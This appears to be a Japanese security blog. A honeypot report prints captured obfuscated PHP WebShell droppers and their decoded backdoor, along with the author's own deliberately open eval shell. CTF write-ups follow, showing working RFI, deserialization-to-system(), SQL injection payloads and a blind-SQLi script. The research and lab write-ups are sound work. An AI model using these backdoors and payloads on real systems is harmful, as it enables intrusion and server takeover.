こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

WebShell型ハニーポットを設置してWebShellに対するスキャンを観察した

久しぶりにハニーポットのネタです。

タイトルが全てですが「最近、WebShell設置の調査に対するスキャン多すぎない?」と思ったのが発端。

WebShell設置の調査に対するスキャンとは、適当なファイル名のphpファイルに対して、HTTPリクエストボディにdie(@md5(J4nur4ry));とかセットされているリクエストです。

こういうときに「なら、本当にWebShellがあったら、お前ら(攻撃者)どうするつもりなの?」と思うのは自然な発想ですね。

ということで、投入されたデータを実行するWebShellを作成して観察をしました。

環境

AWSのEC2のインスタンスを立てて、その上にDockerコンテナを立てました。

なお、現在、高対話型ハニーポット基盤を構築しており、そちらに構築したDockerコンテナの一つです。
運用が安定してインストール手順がまとまったらgithubで公開予定です。

動かすPHPコードはこちらです。

<?php foreach($_REQUEST as $v){
try{
    eval($v.";");
}catch(Throwable $e){
}
}

はい、見る人が見たら卒倒・激怒りするようなコードですね。

どんなパラメータ名だろうがeval関数で実行して返します。
$_REQUEST変数を使用しているため、GETリクエストにもPOSTリクエストにも対応しています。 また、Webサーバの設定で、拡張子phpへのリクエストは全てこのコードに流れるようルーティングします。

system関数でなくeval関数を実行するようにしたのは、冒頭に記載したdie(@md5(J4nur4ry));に対応するためです。
die(@md5(J4nur4ry));をeval関数で実行すると、4df5791c3e09e5c7faa7b3ce35d9cd4bハッシュ値を返却します。攻撃者は、レスポンスにこのハッシュ値が含まれているかどうかで、WebShellが設置されているか判断しているのでしょう。

観測結果

WebShell設置スキャンの件数推移

まず、WebShell設置に対するスキャン行為が、どれほどの件数があるか集計しました。
HTTPリクエストボディにdie(@md5(J4nur4ry));を含むPOSTリクエストを条件に集計しています。

年月日 件数 IPアドレス
20190111 185 200.61.XXX.XXX
20190111 185 58.129.XXX.XXX
20190113 185 139.199.XXX.XXX
20190113 123 171.244.XXX.XXX
20190114 185 150.109.XXX.XXX
20190114 190 181.115.XXX.XXX
20190116 190 118.25.XXX.XXX
20190116 190 123.207.XXX.XXX
20190116 185 132.232.XXX.XXX
20190116 180 132.232.XXX.XXX
20190116 190 61.19.XXX.XXX
20190117 184 118.24.XXX.XXX
20190118 190 118.126.XXX.XXX
20190119 191 106.12.XXX.XXX
20190120 191 132.232.XXX.XXX
20190120 191 139.199.XXX.XXX
20190121 191 120.31.XXX.XXX
20190121 191 154.209.XXX.XXX

年月日とIPアドレス単位で集計すると、件数が近似していますね。
同じ攻撃者なのか、または同じツールを使用しているのでしょうか。

さて、2019/1/17まではWOWHoneypotを使用して適当なHTMLレスポンスを返却していましたが、
2019/1/18にWebShellの稼働を始めました。

その後、2019/1/19からそれ以前には観測したことのない攻撃データを観測し始めました。
4パターンを観測しましたので順に紹介します。

攻撃パターン1

POSTリクエストです。以下、HTTPリクエストボディの内容です。

m=eval($_POST["h"])&
q=eval($_POST["h"])&
mx=eval($_POST["h"])&
520=eval($_POST["h"])&
cnm=eval($_POST["h"])&
0o0=eval($_POST["h"])&
1=eval($_POST["h"])&
2=eval($_POST["h"])&
4=eval($_POST["h"])&
5=eval($_POST["h"])&
-2=eval($_POST["h"])&
111=eval($_POST["h"])&
a=eval($_POST["h"])&
cmd=eval($_POST["h"])&
admin=eval($_POST["h"])&
garry=eval($_POST["h"])&
guess=eval($_POST["h"])&
username=eval($_POST["h"])&
h=die(@file_put_contents("images.php",
'<?php $func=\'c\'.\'r\'.\'e\'.\'a\'.\'t\'.\'e\'.\'_\'.\'f\'.\'u\'.\'n\'.\'c\'.\'t\'.\'i\'.\'o\'.\'n\';
$test=$func(\'$x\',\'e\'.\'v\'.\'a\'.\'l\'.\'(b\'.\'a\'.\'s\'.\'e\'.\'6\'.\'4\'.\'_\'.\'d\'.\'e\'.\'c\'.\'o\'.\'d\'.\'e($x));\');
$test(\'QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpeyhzdWJzdHIoc2hhMShtZDUoQCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpJiYkX1NFU1NJT05bJ3RoZUNvZGUnXT10cmltKCRfUE9TVFsnY29kZSddKTt9aWYoaXNzZXQoJF9TRVNTSU9OWyd0aGVDb2RlJ10pKXtAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7fQ==\'); ?>',LOCK_EX) ? md5("111niLniW") : "failed");

※適当なところで改行を挟んでいます。

hパラメータに注目です。
images.phpというファイル名でPHPファイルを作成しようとしています。

少々、難読化されていますが、簡単に説明するとQHNlc3Npb25fc3RhcnQoK~の文字列をBASE64デコードして実行するコードです。
デコードしてみましょう。

@session_start();
if(isset($_POST['code'])){
  (substr(sha1(md5(@$_POST['a'])),36)=='222f')&&$_SESSION['theCode']=trim($_POST['code']);
}
if(isset($_SESSION['theCode'])){
  @eval(base64_decode($_SESSION['theCode']));
}

なんと、新たなWebShellの設置リクエストでした。
codeパラメータで受けたコードをeval関数で実行する処理です。
既に用意したWebShellでも任意のコードが実行可能であるにも関わらず、自分で設置しようとしています。

また、aパラメータによる簡単な認証処理も実行しています。
他者に使われないようにしているのでしょうか。自分は、他者が設置したWebShellを利用しているというのに!

この攻撃の件数推移は以下の通りです。

年月日 件数 IPアドレス
20190119 5 111.230.XXX.XXX
20190119 3 111.231.XXX.XXX
20190119 3 117.79.XXX.XXX
20190119 3 118.89.XXX.XXX
20190119 8 154.8.XXX.XXX
20190119 6 180.76.XXX.XXX
20190119 2 193.112.XXX.XXX

攻撃パターン2

POSTリクエストです。以下、HTTPリクエストボディの内容です。

--------------------------xxxxxxxxxxxxxxxx
Content-Disposition: form-data; name="submit"


--------------------------xxxxxxxxxxxxxxxx
Content-Disposition: form-data; name="newname"


--------------------------xxxxxxxxxxxxxxxx
Content-Disposition: form-data; name="_upl"

Upload
--------------------------xxxxxxxxxxxxxxxx
Content-Disposition: form-data; name="sendfile"

true
--------------------------xxxxxxxxxxxxxxxx
Content-Disposition: form-data; name="h"

if (copy($_FILES[file][tmp_name],$_FILES[file][name])) die(md5(UploadDone));
--------------------------xxxxxxxxxxxxxxxx
(snip)
--------------------------xxxxxxxxxxxxxxxx
Content-Disposition: form-data; name="z"; filename="E:\\PHPnow\\htdocs\\images.php"
Content-Type: application/octet-stream

<?php /*1*/$CF/*2*/='c'./*3*/"".'r'./*exit;*/"".'e'./*5*/"".'a'./*6*/"".'t'./*7*/"".'e'./*8*/"".'_'./*9*/"".'f'./*0*/"".'u'./*echo*/"".'n'./*9*/"".'c'./*8*/"".'t'./*7*/"".'i'./*6*/"".'o'./*5*/"".'n';$EB/*die();*/=@$CF/*3*/('','e'.""./*2*/'v'.""./*1*/'a'.""./*0*/'l'.""./*1*/'(b'.""./*2*/'a'.""./*3*/'s'.""./*sleep(1);*/'e'.""./*5*/'6'.""./*6*/'4'.""./*7*/'_'.""./*8*/'d'.""./*9*/'e'.""./*0*/'c'.""./*1*/'o'.""./*2*/'d'.""./*3*/'e'.""./*echo*/'("QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicmJiRfU0VTU0lPTlsndGhlQ29kZSddPSRfUE9TVFsnY29kZSddO2lmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSlAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7"));');$EB/*exit;*/();/*die("FWA");*/ ?>
--------------------------xxxxxxxxxxxxxxxx
(snip)

multipartのリクエストです。ファイルアップロードしようとしているようです。
コメントアウトを随所に挟むことで難読化していますが、部分部分に注目すると攻撃パターン1と似ています。
BASE64デコードすると以下の通りです。
攻撃パターン1と比べると、{}が無い程度の違いのみで、同じ処理です。

@session_start();
if(isset($_POST['code']))substr(sha1(md5($_POST['a'])),36)=='222f'&&$_SESSION['theCode']=$_POST['code'];
if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode']));

つまり、こちらもWebShellの設置リクエストでした。

この攻撃の件数推移は以下の通りです。攻撃パターン1と同じIPアドレスでした。

年月日 件数 IPアドレス
20190119 28 111.230.XXX.XXX
20190119 29 111.231.XXX.XXX
20190119 22 117.79.XXX.XXX
20190119 22 118.89.XXX.XXX
20190119 23 154.8.XXX.XXX
20190119 21 180.76.XXX.XXX
20190119 22 193.112.XXX.XXX

攻撃パターン3

GETリクエストです。以下、クエリパラメータです。

cmd=echo "<?php \$func='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';\$test=\$func('\$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e(\$x));');\$test('QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpeyhzdWJzdHIoc2hhMShtZDUoQCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpJiYkX1NFU1NJT05bJ3RoZUNvZGUnXT10cmltKCRfUE9TVFsnY29kZSddKTt9aWYoaXNzZXQoJF9TRVNTSU9OWyd0aGVDb2RlJ10pKXtAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7fQ=='); ?>" >images.php & echo Hello, Peppa!

攻撃パターン1とコードが似ています。
BASE64エンコード文字列は、全く同じです。

つまり、こちらもWebShellの設置リクエストでした。

この攻撃の件数推移は以下の通りです。件数は少なめです。

年月日 件数 IPアドレス
20190119 2 111.230.XXX.XXX
20190119 2 111.231.XXX.XXX

攻撃パターン4

攻撃パターン1、2、3ともにimages.phpを設置するリクエストでしたが、当然、images.phpへのリクエストもありました。

a=just+for+fun&code=ZGllKCJIZWxsbywgUGVwcGEhIik7

BASE64デコードすると、die("Hello, Peppa!");となります。
自分が設置したWebShellが稼働しているか確認するリクエストのようです。

このリクエストに対してHello, Peppa!と返却すると、いよいよ攻撃者の目的を果たすための攻撃コードが着弾したのでしょうか。 しかし、攻撃パターン1、2および3で設置されたimages.phpへのルーティングはしていないため、失敗に終わりました。残念。

この攻撃の件数推移は以下の通りです。攻撃パターン1および2と同じIPアドレスでした。

年月日 件数 IPアドレス
20190119 68 111.230.XXX.XXX
20190119 62 111.231.XXX.XXX
20190119 48 117.79.XXX.XXX
20190119 52 118.89.XXX.XXX
20190119 62 154.8.XXX.XXX
20190119 53 180.76.XXX.XXX
20190119 47 193.112.XXX.XXX

まとめ

スキャン行為に対応するWebShellを設置していれば、すぐに本格的な攻撃コードが着弾すると想定していましたが、攻撃者は思いのほか慎重でした。まさかWebShellをもう1つ作成されるとは。

ただ、今回、低対話型ハニーポットでは観測が難しいところまで観測できたのではと感じています。 継続、日々攻撃を観察して、攻撃者が期待するレスポンスを返す環境を構築し提供することで、攻撃者の動きの深追いを続けていきたいと思います。
但し、当然、本当に攻撃を受けているため、環境の頻繁なリストア・戻し処理等、万全な体制で臨む必要があります。

なお、このBlog記事を書いている間も、Tomcatハニーポットに興味深いアクセスが来ていたので、後日まとめる予定です。

続きです。
graneed.hatenablog.com

InterKosenCTF Writeup

高専生でなくとも参加可能」とのことで、高専生による高専生のためのInterKosenCTFに参加。

今回はnoranecoチームではなく、有志のdoranecoチームで参加した。
(PwnとCryptを解くメンバーが不在のため、ほぼ手つかず。)

全てのWeb問題がソースコードが公開されており、guess要素もなく良問揃いだった。
特にImage Uploaderは、試行錯誤でそこそこ苦労したが楽しんで解くことができた。

目次

[Web 100pts]Gimme Chocolate

問題

f:id:graneed:20190120185911p:plain

view sourceリンクからソースコードを確認可能。

Writeup

機能は以下2つ。

  • codeを保存する機能。codeはbranf*ck形式。
  • 保存したcodeをbranf*ckとして実行し、Give Me a Chocolate!!のメッセージが返却されたらフラグを表示する機能。

しかし、code保存機能は100バイトまでしか保存できない。以下ソースコード抜粋。

        $fp  = fopen($prefix.DIRECTORY_SEPARATOR.$_POST['name'], 'w');
        if ($fp === FALSE || fwrite($fp, $_POST['code'], 100) === FALSE) {
            $errs []= 'Unexpected error. Please contact the admin.';
            break;
        }
        fclose($fp);

Web上の適当なbrainf*ckの変換サービスを使用してGive Me a Chocolate!!を変換すると226バイト。
よって、code保存機能を使用しても目的のコードは作成できない。

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>+.>+++++.+++++++++++++.-----------------.<<++.>++++++.>.<<.>>----.<<.>----------.>+++++++.+++++++.------------.++++++++++++.---.-----------.+++++++++++++++++++.---------------.<<+..

あらためてcodeを実行する機能のソースコードを確認すると、GETで得たファイルパスをそのままfile_get_contentsに渡している。Remote File Inclusionができそうだ。

        $code = file_get_contents($_GET['file']);
        if ($code === FALSE) {
            $errs []= 'Could not open the source file.';
            break;
        }
        $r = bf($code);
        if ($r === "Give Me a Chocolate!!") {
            $msgs []= include(dirname(__DIR__).DIRECTORY_SEPARATOR.'flag.php');
        }
    }

自サーバにgivemeというファイル名でbrainf*ck変換後コードを配備し、fileパラメータにURLをセットして実行する。

root@kali:~# curl http://web.kosenctf.com:8100/ -G -d "execute&file=http://myserver/giveme"
(snip)
                    <div class="ms-alert ms-green">KOSENCTF{CIO_CHOCOLATEx2_CHOx3_IIYONE}</div>
(snip)

KOSENCTF{CIO_CHOCOLATEx2_CHOx3_IIYONE}がフラグ。

[Web 200pts]Secure Session

問題

f:id:graneed:20190120203529p:plain

source codeリンクからソースコードをダウンロード可能。

Writeup

ポイントは以下の箇所。

/* Initialize */
if (isset($_POST['save'])) {
    // You can skip the bothering setup
    // by loading the saved handler.
    $handler = unserialize(base64_decode($_POST['save']));
} else {
    // Or, you can also setup the handler manually.
    $SECRET_KEY = 'sample-password'; // Keep it secret!
    $crypto = new SecureCrypto();
    $handler = new SecureSession($SECRET_KEY);
    $handler->set_crypto('encrypt', array($crypto, 'encrypt'));
    $handler->set_crypto('decrypt', array($crypto, 'decrypt'));
}

外部から、暗号化・復号する関数をシリアライズしたオブジェクト(BASE64文字列)で指定可能。
Insecure Deserializationで攻める。

まず、暗号化・復号関数にSecureCryptoクラスのインスタンスencrypt関数およびdecrypt関数をセットする代わりに、system関数をセットする。
また、暗号化・復号関数の第一引数に$SECRET_KEYが渡されるため、'sample-password'の代わりに、ls -lをセットする。
これで、ls -lが実行されるはずである。

ローカルで試す。

php > require_once(__DIR__ . '/modules/crypto.php');
php > require_once(__DIR__ . '/modules/session.php');
php > $SECRET_KEY = 'ls -l';
php > $crypto = new SecureCrypto();
php > $handler = new SecureSession($SECRET_KEY);
php > $handler->set_crypto('encrypt', system);
PHP Warning:  Use of undefined constant system - assumed 'system' (this will throw an Error in a future version of PHP) in php shell code on line 1
php > $handler->set_crypto('decrypt', system);
PHP Warning:  Use of undefined constant system - assumed 'system' (this will throw an Error in a future version of PHP) in php shell code on line 1
php > session_set_save_handler($handler, true);
php > session_start();
php > print_r($handler->read_raw(session_id()));
php > session_write_close();
total 4
-rwxrwxrwx 1 root root 3287 Dec 31 09:51 index.php
drwxrwxrwx 1 root root    0 Jan 19 10:29 modules

成功した。この改ざんしたhandlerをBASE64エンコードする。

php > var_dump(base64_encode(serialize($handler)));
string(204) "TzoxMzoiU2VjdXJlU2Vzc2lvbiI6Mjp7czoyMToiAFNlY3VyZVNlc3Npb24AY3J5cHRvIjthOjI6e3M6NzoiZW5jcnlwdCI7czo2OiJzeXN0ZW0iO3M6NzoiZGVjcnlwdCI7czo2OiJzeXN0ZW0iO31zOjE4OiIAU2VjdXJlU2Vzc2lvbgBrZXkiO3M6NToibHMgLWwiO30="

サーバに投入してみる。

root@kali:~# curl http://web.kosenctf.com:8200/ -d "save=TzoxMzoiU2VjdXJlU2Vzc2lvbiI6Mjp7czoyMToiAFNlY3VyZVNlc3Npb24AY3J5cHRvIjthOjI6e3M6NzoiZW5jcnlwdCI7czo2OiJzeXN0ZW0iO3M6NzoiZGVjcnlwdCI7czo2OiJzeXN0ZW0iO31zOjE4OiIAU2VjdXJlU2Vzc2lvbgBrZXkiO3M6NToibHMgLWwiO30="
(snip)
        </div>
    </div>
    </body>

</html>
total 16
-r--r--r-- 1 1000 1000   61 Dec 31 00:53 hOI_the_flag_is_here
-r--r--r-- 1 1000 1000 3287 Dec 31 00:53 index.php
dr-xr-xr-x 2 1000 1000 4096 Dec 31 00:53 modules
-r--r--r-- 1 1000 1000 2294 Dec 31 00:53 ssm.tar.gz

成功した。hOI_the_flag_is_hereというファイルがあるようだ。

root@kali:~# curl http://web.kosenctf.com:8200/hOI_the_flag_is_here
KOSENCTF{Th3_p01nt_1s_N0t_h0w_s3cur3_1t_1s_But_h0w_t0_us3_1t}

KOSENCTF{Th3_p01nt_1s_N0t_h0w_s3cur3_1t_1s_But_h0w_t0_us3_1t}がフラグ。

[Web 250pts]Login

問題

f:id:graneed:20190120212452p:plain

出題サイトからソースコードをダウンロード可能。

Writeup

アカウントの登録とログインができる。

ソースコードを読むと、adminでログインするとフラグが得られるようだ。

ポイントは、以下のログイン処理。
SQL Injectionの脆弱性あり。

        // dont' think to try time based sql injection!! 
        usleep(random_int(0, 5000000));
        try {
                $rows = $pdo->query("select username, password from users where username='$username' and password='$password'", PDO::FETCH_ASSOC)->fetchAll();
                if (count($rows) == 1 && md5($rows[0]['password']) === md5($password)) {
                        $_SESSION['login'] = $username;
                }
        } catch (Exception $e) {
                //
        }

しかし、「入力したpassword文字列」と「DBから取得したpassword文字列」のmd5ハッシュ値の一致確認をしているため、union all select~ペイロードを作ってもNG。

せっかくアカウント登録機能があるため、事前にpayload文字列でアカウントを作成し、そのレコードをselectして取得して一致させる作戦。

以下の文字列をusernameにセットしてアカウントを作る。passwordは何でもよい。
hogehogehoge' union all select 'admin', username from users where username like 'hogehogehoge%

次に、usernameをadmin、passwordを上記と同じ文字列をセットしてログインする。

ログイン成功。 f:id:graneed:20190120214038p:plain

KOSENCTF{I_DONT_HAVE_ANY_APTITUDE_FOR_MAKING_A_WEB_CHALLENGE_SORRY}がフラグ。

[Web 350pts]Image Uploader

問題

f:id:graneed:20190120214245p:plain

出題サイトからソースコードをダウンロード可能。

Writeup

HomeとPostとControlの3画面構成。 右上のControlリンクは非活性だがHTMLソースを読むとリンク先がadmin.htmlであることを確認できる。

しかし、admin.htmlに飛んでもWAFエラーとなる。おそらくこの画面にフラグがある。

Post画面は、UsernameとDescriptionを入力してJPG画像をアップロードする機能を持つ。
アップロードした画像には自動でTagが付く。TagはJPG画像をBASE85でデコードした文字列をsha256でハッシュ計算した値。

Home画面は、Tag入力による画像検索機能と、画面上には表示されていないが、JPG画像をアップロードして一致するJPG画像を表示する検索機能を持つ。
後者の機能にSQL Injectionの脆弱性あり。以下、ソースコード抜粋。

     $binary = file_get_contents($_FILES['image']['tmp_name']);
        $s_image = base85::encode($binary);
        // Get the image
        $row = $pdo->query("SELECT * FROM images WHERE image='{$s_image}'")->fetch(PDO::FETCH_ASSOC);

base85でエンコードしたJPG画像ファイルが、SQL Injectionのpayloadになればよい。

よって、JPG画像にpayload文字列をbase85でデコードした文字列を埋め込めばよい。

JPG画像の判定はMIME Typeによる判定のみ。先頭2バイトが\xFF\xD8ならOK。

 $tmp_name = $_FILES['image']['tmp_name'];
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mimetype = finfo_file($finfo, $tmp_name);
    if ($mimetype != "image/jpeg") {
        header("Location: /");
        exit();
    }

BASE85のエンコード/デコードモジュールも配布されているため活用する。

まず、admin.htmlをload_fileで読み込むpayloadを持つ画像を作る。

php > require("base85.class.php");
php > file_put_contents("test.jpg",base85::decode("s4@aa'union(select(100),(load_file(CHAR(47,118,97,114,47,119,119,119,47,104,116,109,108,47,97,100,109,105,110,46,104,116,109,108))),(101),(102))###"));
php >  echo base85::encode(file_get_contents("test.jpg"));
s4@aa'union(select(100),(load_file(CHAR(47,118,97,114,47,119,119,119,47,104,116,109,108,47,97,100,109,105,110,46,104,116,109,108))),(101),(102))#"o

以下に解説。

s4@をデコードすると、\xFF\xD8になる。

php > require("base85.class.php");
php > file_put_contents("test.jpg",base85::decode("s4@"));
php > $finfo = finfo_open(FILEINFO_MIME_TYPE);
php > echo finfo_file($finfo, "test.jpg");
image/jpeg

他、BASE85でデコード→エンコードしたときに、元の文字列に戻らない箇所を以下のとおり工夫している。

  • s4@の後ろのaaは、その後ろの'unionが元の文字列に戻らなかったための措置。
  • 最後の#を3連続にしているのは、1つだけだと#が消えるまたは変化するための措置。
  • load_fileの引数にそのままファイルパス文字列を与えず、CHAR関数を介しているのは、ファイルパス文字列に特定の文字が含まれると元に戻らないための措置。例えばvとか。なお、上記のCHAR(47,118,97,114,...は、/var/www/html/admin.htmlを意味する。
  • BASE85はスペースが使えないため、全体的にスペースを使用せずに()で代替している。

この画像で検索をかける。

root@kali:~/image_uploader# curl http://web.kosenctf.com:8400/ -F "image=@test.jpg" -F search=1
(snip)
        &lt;h3&gt;Welcome, admin!&lt;/h3&gt;
        &lt;p&gt;The flag is KOSENCTF{&amp;lt;The password to bypass the WAF&amp;gt;}&lt;/p&gt;
        &lt;p&gt;If you haven't get the password yet, try harder and find the password.&lt;/p&gt;
(snip)

まだクリアでないようだ。WAFモジュールに何かありそうだ。

まずはapacheの設定ファイルである/etc/apache2/apache2.confを確認する。

php > file_put_contents("test.jpg",base85::decode("s4@aa'union(select(100),(load_file(CHAR(47,101,116,99,47,97,112,97,99,104,101,50,47,97,112,97,99,104,101,50,46,99,111,110,102))),(101),(102))###"));
root@kali:~/image_uploader# curl http://web.kosenctf.com:8400/ -F "image=@test.jpg" -F search=1
(snip)
LoadModule waf_module /usr/lib/apache2/modules/mod_waf.so
(snip)

/usr/lib/apache2/modules/mod_waf.soを確認する。バイナリファイルのため、TO_BASE64関数でBASE64エンコードする。

file_put_contents("test.jpg",base85::decode("s4@aa'union(select(100),(TO_BASE64(load_file(CHAR(47,117,115,114,47,108,105,98,47,97,112,97,99,104,101,50,47,109,111,100,117,108,101,115,47,109,111,100,95,119,97,102,46,115,111)))),(100),(100))###"));
root@kali:~/image_uploader# curl http://web.kosenctf.com:8400/ -F "image=@test.jpg" -F search=1
(snip)
            <p>Uploaded by f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkAkAAAAAAABAAAAAAAAAAIAhAAAAAAAAAAAAAEAAOAAH
AEAAGwAaAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdA4AAAAAAAB0DgAAAAAAAAAA
IAAAAAAAAQAAAAYAAABIHQAAAAAAAEgdIAAAAAAASB0gAAAAAAAgAwAAAAAAACgDAAAAAAAAAAAg
AAAAAAACAAAABgAAAGgdAAAAAAAAaB0gAAAAAABoHSAAAAAAAPABAAAAAAAA8AEAAAAAAAAIAAAA
AAAAAAQAAAAEAAAAyAEAAAAAAADIAQAAAAAAAMgBAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAA
AAAAUOV0ZAQAAACoDQAAAAAAAKgNAAAAAAAAqA0AAAAAAAAkAAAAAAAAACQAAAAAAAAABAAAAAAA
AABR5XRkBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAA
AFL
(snip)

BASE64文字列の箇所を抜き出してファイルを作成、BASE64デコードして元のmod_waf.soファイルを復元、stringsコマンドで有用なデータを探す。

root@kali:~/image_uploader# cat mod_waf.so.base64 | head
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkAkAAAAAAABAAAAAAAAAAIAhAAAAAAAAAAAAAEAAOAAH
AEAAGwAaAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdA4AAAAAAAB0DgAAAAAAAAAA
IAAAAAAAAQAAAAYAAABIHQAAAAAAAEgdIAAAAAAASB0gAAAAAAAgAwAAAAAAACgDAAAAAAAAAAAg
AAAAAAACAAAABgAAAGgdAAAAAAAAaB0gAAAAAABoHSAAAAAAAPABAAAAAAAA8AEAAAAAAAAIAAAA
AAAAAAQAAAAEAAAAyAEAAAAAAADIAQAAAAAAAMgBAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAA
AAAAUOV0ZAQAAACoDQAAAAAAAKgNAAAAAAAAqA0AAAAAAAAkAAAAAAAAACQAAAAAAAAABAAAAAAA
AABR5XRkBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAA
AFLldGQEAAAASB0AAAAAAABIHSAAAAAAAEgdIAAAAAAAuAIAAAAAAAC4AgAAAAAAAAEAAAAAAAAA
BAAAABQAAAADAAAAR05VAL4tUliBbi56OIgdMmfBZEF6qiCmAAAAAAMAAAATAAAAAQAAAAYAAACI
wCAFAAVACRMAAAAWAAAAGAAAAEJF1eyoRinzu+OSfNhxWBy5jfEO69PvDgAAAAAAAAAAAAAAAAAA

root@kali:~/image_uploader# base64 -d mod_waf.so.base64 > mod_waf.so

root@kali:~/image_uploader# strings mod_waf.so
(snip)
`[]A\A]A^
admin
password
/var/www/secret-pwd-file
<!-- mod_waf v0.1 -->
(snip)

/var/www/secret-pwd-fileが怪しい。
同じ方法でファイルを取得する。

php > file_put_contents("test.jpg",base85::decode("s4@aa'union(select(100),(load_file(CHAR(47,118,97,114,47,119,119,119,47,115,101,99,114,101,116,45,112,119,100,45,102,105,108,101))),(100),(100))###"));
root@kali:~/image_uploader# curl http://web.kosenctf.com:8400/ -F "image=@test.jpg" -F search=1
            <p>Uploaded by awkward_SQLi_2_bypass_WAF_module</p>

KOSENCTF{awkward_SQLi_2_bypass_WAF_module}がフラグ。

[Web 50pts]Login Reloaded

残念ながら解けなかった。
Blind SQL Injectionでパスワードを1文字ずつ特定するプログラムを作って流し、待ち時間にウッキウキで家事やら子どもの相手をしていた。
128文字のパスワードが得られたのを見てから、以下のコードの意図に気付き白目になった。

if (isset($_POST['name']) && isset($_POST['password']) && strlen($_POST['name']) < 128 && strlen($_POST['password']) < 128) {

※追記 Blind SQL Injectionのコードは以下の通り。

import requests
import string

URL = 'http://web.kosenctf.com:8500/login.php'
LETTERS = string.digits + 'abcdef'

target = ""

while True:
    flag = False
    for e in LETTERS:
        tmp = target + e
        req = requests.Request(
            'POST',
            URL,
            data={
                "name" : "' union all select 'a',CASE WHEN SUBSTR((select password from users where username='admin'),{},1)='{}' THEN 'a' ELSE 'b' END --".format(len(tmp),e),
                "password" : "a"
                },
            )
        prepared = req.prepare()
        s = requests.Session()
        r = s.send(prepared, allow_redirects = True)
        if "HELLO" in r.text:
            target = tmp
            print(target)
            flag = True
            break

    if flag: continue
    exit()

実行して待つと以下のパスワードが得られる。

9072864df2f0c01ff241ac5771a90f64f10247fb3544a18fc5675bfee225fee853d4a099b7fb23e8b08079b490b80f16a0a18e86589694ebc6907d5dfe70cf6b

The 2018 SANS Holiday Hack Challenge Writeup

新年の初投稿が遅くなりましたが、あけましておめでとうございます。

12/28-12/30開催の35C3 CTFから1/19-1/20開催のInsomni'hack teaser 2019の間、CTFイベントはオフシーズンでした。
ちょうどこの期間に、SANS社がHoliday Hack Challengeを開催しており、私も参加&全完しましたのでwriteupを書きます。

www.holidayhackchallenge.com

概要

サンタ城を歩きながら、ペンテスト、フォレンジックマルウェア解析、ネットワーク解析などのスキルを駆使して、各種チャレンジを解いていく。

以下、城門の前のスクリーンショット。開催直後は門の前に大量の人がいたが、1/14現在はガラガラ。
f:id:graneed:20190114122244p:plain

メインの問題数は全14問と、解くとメインの問題のヒントがもらえるサブの問題が9問。 サブの問題の説明は割愛。

なお、英語でwriteupを書いてエントリーすると、審査または抽選で賞品がもらえたようだ。
残念ながら当BlogはJapanese Only(#インターネット老人会 hashtag on Twitter )のため、報告不可。

1) Orientation Challenge

過去のHoliday Hack Challengeのストーリーに関する4択問題×6問。
f:id:graneed:20190114124423p:plain

私は今年が初挑戦であるため、問題が何を言ってるかさっぱりわからずGoogle検索してWriteupを読み、答えを調べた。

なお、答えを4問特定してから、残り2問は4×4=16回の総当たりという横着をした。

2) Directory Browsing

https://cfp.kringlecastle.com/ から、Data Loss for Rainbow TeamsというタイトルでCall for papersに応募してリジェクトされた人の名前を特定しろという問題。問題名から、ディレクトリリスティングを使うことが明らか。

https://cfp.kringlecastle.com/cfp/ にアクセスすると、rejected-talks.csvを発見。

John McClaneが答え。

3) de Bruijn Sequences

4種類の記号を4回選択して、当てるとドアが開く。

f:id:graneed:20190114130255p:plain

256回の総当たりをすれば当たるので、スクリプト書いて実行。

import requests
import itertools

s = requests.Session()
for i in itertools.product({'0','1','2','3'}, repeat=4):
    req = requests.Request(
        'GET',
        "https://doorpasscoden.kringlecastle.com/checkpass.php",
        params={
                "i":"".join(i),
                "resourceId":"1"
        }
    )
    prepared = req.prepare()
    r = s.send(prepared, allow_redirects = False)
    print(i)
    if len(r.text) != 46:
        print(r.text)
        exit(0)

実行する。

('3', '3', '3', '3')
('3', '3', '3', '2')
('3', '3', '3', '0')
(snip)
('0', '1', '2', '3')
('0', '1', '2', '2')
('0', '1', '2', '0')
{"success":true,"resourceId":"1","hash":"1c49ebfdb891f43cafef54856a775f6cbc0497b462af5452a17af1798e1d8433","message":"Correct guess!"}

f:id:graneed:20190114130545p:plain

4) Data Repo Analysis

https://git.kringlecastle.com/Upatree/santas_castle_automation から、passwordを取得する問題。

gitのリポジトリのcommitの履歴を辿れば、どこかにあると予想。

以下のコマンドで、各commit間のdiffを全量出力して眺める。

$ git log | grep -e "commit [0-9a-f]\{40\}" | sed 's/commit //' > commit.txt
$ for i in `cat commit.txt`; do echo "----------------$i----------------">>diff.txt ; git diff ${i}^..${i} >> diff.txt; done

passwordを発見。

